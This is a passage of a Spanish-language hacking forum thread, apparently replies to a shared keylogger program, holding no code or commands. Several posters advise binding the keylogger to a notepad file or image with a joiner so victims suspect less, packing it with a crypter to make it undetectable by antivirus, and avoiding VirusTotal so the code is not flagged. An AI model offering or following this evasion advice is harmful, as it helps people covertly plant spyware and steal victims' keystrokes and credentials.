puedes usar un joiner (binder) adjuntar el keylogger junto con un block de notas, imagen, lo que quieras.
de esa forma seria menos sospechoso.
El arte de crear malware, es algo que solo pocos entienden!


Desconectado metal8

  • *
  • Underc0der
  • Mensajes: 126
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #11 en: Septiembre 07, 2015, 06:26:03 pm »
puedo usar un crypter para dejarlo fud ?
y si se puede tiene q ser en vb.net o tambien me sirve el vb6

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« Respuesta #12 en: Septiembre 07, 2015, 06:56:52 pm »
You are not allowed to view links. Register or Login
puedo usar un crypter para dejarlo fud ?
y si se puede tiene q ser en vb.net o tambien me sirve el vb6

si usas crypter mientras funcione, puede estar desarrollado en cualquier lenguaje de programación.
si soporta cifrado y demás.
El arte de crear malware, es algo que solo pocos entienden!


Desconectado metal8

  • *
  • Underc0der
  • Mensajes: 126
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #13 en: Septiembre 07, 2015, 08:26:28 pm »
muchas gracias por contestar , saludos

Desconectado Geronimo

  • *
  • Underc0der
  • Mensajes: 4
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #14 en: Septiembre 08, 2015, 10:21:55 pm »
Estoy a años luz de hacer lo que tenia pensado. Entiendo re poco de los términos que me dan. :c

Desconectado milaez

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
  • Fear kills dreams
    • Ver Perfil
« Respuesta #15 en: Abril 21, 2016, 01:37:26 pm »
Si analizas el .dll de la aplicación: You are not allowed to view links. Register or Login

Saludos :)
You are not allowed to view links. Register or Login

Desconectado T3mpor4lGN

  • *
  • Underc0der
  • Mensajes: 11
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #16 en: Abril 21, 2016, 10:19:04 pm »
Lo ideal es que no lo sigan pasando por virustotal para no quemar aun mas el codigo. Busquen otros scaners online.

Enviado desde mi Black Phone!


Desconectado Gimes

  • *
  • Underc0der
  • Mensajes: 13
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil
« Respuesta #17 en: Mayo 05, 2016, 10:59:01 am »
Good program, thanks good job.

Desconectado Darkcpa666

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Skype: shai.tvmovie@gmail.com
« Respuesta #18 en: Noviembre 28, 2017, 01:49:24 pm »
tiene bug el foro, estoy registrado y aun no me sale el link?

Desconectado MrKrypton

  • *
  • Underc0der
  • Mensajes: 10
  • Actividad:
    0%
  • Reputación 1
  • Un Soldado Da Tiros Y Un Hacker Da Enter
    • Ver Perfil
    • Email
« Respuesta #19 en: Marzo 30, 2018, 04:59:13 pm »
Como me registro, ya le intente y se queda en conectando con el servidor 9s que hago  :-\

 

¿Te gustó el post? COMPARTILO!